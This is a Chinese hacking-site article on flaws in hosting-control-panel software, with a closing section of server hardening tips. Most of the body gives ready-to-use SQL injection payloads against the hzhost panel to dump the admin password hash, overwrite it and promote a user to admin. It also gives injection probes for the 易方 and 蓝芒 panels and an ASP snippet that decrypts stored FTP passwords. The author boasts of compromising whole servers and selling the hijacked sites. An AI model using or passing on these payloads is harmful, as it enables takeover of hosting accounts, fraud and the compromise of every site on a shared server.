快捷搜索:   nginx

浅析IDC虚拟主机安全及影响因素


现在大多数站长用的虚拟主机,而国内的IDC服务提供商参差不齐,安全性也是差别很多。多数IDC用的都是虚拟主机管理软件,直接安装完设置一下,一个IDC网站,包括整体服务就弄好,所以一切安全性都是软件自动设置。这种软件的好处是显而易见的,方便,不用人工去干预。但是一旦软件本身存在漏洞,服务器上的所有站点全都遭殃,而很多IDC服务商由于服务器众多,为了图方便,即使出现一些漏洞,也不会每台机器去打补丁。 

本人曾经检测过的站点所在服务器,主要使用的虚拟主机管理软件主要有这么几个: 

-------------------------------------------------------------------------------------------   星外主机管理系统
目前国内70%的空间上都用的这个,曾经以bt的设置权限出名但是近期星外的菊花被爆的也是70%到目前为止官方已经修补了漏洞遇到的星外基本没有可写目录了郁闷的一点是net的马只要执行cmd iispy 直接报错注册表也做了相对的权限设置。以前的具体利用方法这里就不说了。星外又开始bt了。


华众虚拟主机管理系统 
国内50%的空间商都用的这个,而hzhost最新版本是6.5,此版本的管理页面存在严重的SQL注入漏洞,可以任意修改虚拟主机后台密码。程序domain/login.asp对用户提交的参数未做有效过滤,导致SQL注射漏洞。 
  
选择域名管理,在域名输入框输入测试的语句。如何判断漏洞是否存在呢?我们输入:sectop’ 密码随意输入。爆出数据库为MSSQL的数据库  
  
先爆管理员密码:sectop’ and (select top 1 isnull(cast([u_nme] as nvarchar(4000)),char(32))+char(94)+isnull(cast([U_pss] as nvarchar(4000)),char(32)) from (select top 2u_nme,U_pss from [hzhost]..[memlst] where 1=1 order by [u_nme]) t order by [u_nme] desc )>0-- and ’1’=’1  
密码是MD5加密的,大家去各大解密网站解密。如果密码设置复杂,短时间无法破解。我们可以改管理的密码,使用完毕后请改回去。语句:sectop’ UPDATE [memlst] SET u_pss=’xxxxxxx’ WHERE u_nme=’admin’--此语句是把管理员密码改为xxxxxxx我们还可以将自己注册的普通帐户提升成管理员权限,注册请在前台注册。   语句:   sectop’ UPDATE [memlst] SET u_sys=6 WHERE u_nme=’你注册的用户名’--   sectop’ UPDATE [memlst] SET u_pwr=2 WHERE u_nme=’你注册的用户名’--   提交以上二句代码即可提升你的权限为管理员。提交后可在前台登陆后转到管理界面,或者直接登陆后台地址。 
  
在后台就可以给自己加钱和开通域名和空间,此漏洞危害很大。   -------------------------------------------------------------------------------------------   易方虚拟主机管理软件   http://www.myhack58.com/Pdt_List.asp?Sort=EM’    http://www.myhack58.com/Pdt_List.asp?Sort=EM’ and ’1’=’1   返回正常.   证明存在注入.   用NBSI 检测: 

注意: 
要添加特征字符   用阿D注入工具不能检测出数据.   只能用NBSI 或手工注入.   管理员表:EfangAdmin 
密码加了密.   跟MD5相似....在怎么利用就不说了,和上面差不多
易方的主机系统web目录的随机名称真叫人郁闷,但是只要得到路径可以跨站。   -------------------------------------------------------------------------------------------   蓝芒虚拟主机管理系统 
问题是出在Scripts/agent/Combine/buy.asp文件上,16行到25行之间strSQL="Select a.*, b.STName from v_ProdInfo a, T_DNS_ServiceType b where a.STCode=b.STCode  
and a.ProdCode=’" & Request("ID") & "’ and a.ProdStat<>’3’"   Set Rs= Server.CreateObject("ADODB.Recordset")   Rs.open strSQL,Cn,1,1   If Rs.Eof Then   Response.Write "<br><br><br><br><p align=’center’>无法购买该产品</p>"   Rs.Close   Cn.Close   Call PrintPageBottom   Response.End   end if   大家很容易就可以看到id这个变量从request以后没经过处理直接放到查询语句中.然后就是一个很简单的字符型注入漏洞了.随便去找个蓝芒的站点测试一下,首先得注册一个用户,登陆.然后去业务申请,域名注册里面看看,把鼠标随便放到一个产品的"详细"链接上,记录下它的ProdCode值.我这里是com(如http://www.myhack58.com/scripts/agent/ProductInfo.asp?ProdCode=com),不过我看好像很多站点都是数字的,例如101,大家按情况改了.然后构造一下注入语句.  
  
http://www.myhack58.com/Scripts/agent/Combine/buy.asp?id=com’ and 1=1--   http://www.myhack58.com/Scripts/agent/Combine/buy.asp?id=com’ and 1=2-- 
最后猜解出密码941CFBCF40B96B8169CEC930976FEC00,可谓历尽艰辛,发现管理虚拟主机的时候是有个链接是可以ftp登陆的,如ftp://user:[email protected],但是我看数据表里也就这么一个密码值了.也就是说蓝芒给这个密码用的是可逆的算法.于是又马上跑回去看代码,最后终于发现里面有解码的函数.但是因为是写在组件里面的,也没得了解它的加密算法.但是,要知道密码,还是有方法滴. 
  
<%   password="25E41385F01E381944F0646AE44187AA"   Set ASPDe = Server.CreateObject("BlueEncrypt.Decode")   %>   密码为<%=AspDe.DeStr(password)%>   替换一下password的值,然后密码就出来了,呵呵~~~ 
  
-------------------------------------------------------------------------------------------   集成好的虚拟主机软件虽然方便管理,但是一旦出现漏洞,安全性也是显而易见的。如果都采用纯手工管理,严格设定安全性,安全性比用别人软件要强N多。 
但是我发现,真正纯手工配置的服务器少只又少,这就造成了,有时候我搞目标站以后,拿到了整台服务器的权限,所有站点的资源有了,一个站卖几百,但是有些小站不是很好卖,价格就压低点,卖给流量商挂插件也不错。 
说了这么多虚拟主机管理系统的漏洞,想必有些朋友对怎么样配置安全的虚拟主机比较感兴趣,其实安全是个整体,很多要注意的安全配置都融入在细节中。 
分别讲两个平台吧: 
首先是win,一般的架构是 IIS+asp+aspx+php+mysql+mssql,jsp空间是IIS+tomcat+jdk(也有些空间商用jboss,但是还是tomcat居多)   IIS这块要注意每个站采用独立用户guests组,单独给根目录和IIS连接帐户设置权限,如果要跑aspx还必须加入IIS_WPG组,并采用独立的进程池,启动进程帐户用独立用户。扩展映射要删除不必要的,比如说:asa,cer等,还应该建立一个mdb的扩展映射,防止access数据库被下载。数据库这块对于mssql,使用public权限连接,否则db_owner连接只要知道网站路径,备份一句话是相当容易的事情。对于mysql,则使用grant给用户和数据库授权,不要用root账号,严格一点的等cms装完以后(以为安装时候可能有create table等操作),只给insert,delete,update,select权限。系统这块要删除危险的一些组件,比如说wscript,磁盘权限要做好,防止跨目录。 
至于IIS+tomcat+jdk的架构,一定要注意tomcat安装完以后,要建立一个低权限用户,在服务里面设置tomcat以低权限帐户运行,否则一个shell,服务器就遭殃。 
其次是linux,一般的架构是apache+mysql+php(有些国外IDC用nginx或者lighthttpd做webserver),apache要注意用php_admin_value open_basedir 限制跨目录浏览,php.ini中注意display_errors要设置Off,否则容易爆web路径,还有disable_functions要屏蔽system,exec等危险函数,apache则可以建立一个单独用户来运行,mysql写shell脚本,每日或每周备份。一些服务像FTP、SSH尽量使用SSL,防止别人嗅探

顶(0)
踩(0)

您可能还会对下面的文章感兴趣:

最新评论